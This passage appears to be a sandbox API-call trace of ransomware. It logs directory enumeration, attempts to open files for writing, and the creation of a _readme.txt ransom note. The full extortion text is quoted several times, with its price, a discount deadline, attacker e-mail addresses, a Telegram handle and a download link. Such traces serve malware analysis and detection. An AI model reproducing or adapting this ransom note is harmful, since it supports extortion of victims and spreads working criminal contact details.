dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.806] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.806] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.806] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0124.806] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x214) returned 0x30557d8 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3082fb8 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3082f90 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3082f68 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3082f40 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3083120 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3083148 [0124.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3083170 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0124.807] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0124.808] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.808] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.808] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.808] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0124.808] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.808] PathFindFileNameW (pszPath="") returned="" [0124.808] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.808] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.808] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.808] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076ee0 | out: hHeap=0x5c0000) returned 1 [0124.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083260 | out: hHeap=0x5c0000) returned 1 [0124.809] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0124.809] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0124.809] lstrcpyW (in: lpString1=0x30f90a8, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.809] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.809] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3083260 [0124.809] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0124.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083260 | out: hHeap=0x5c0000) returned 1 [0124.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.809] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.809] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.810] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.810] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.810] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.811] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.811] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.811] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.811] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.811] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038078 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.811] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.811] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038078 [0124.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.811] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.811] RtlAllocateHeap 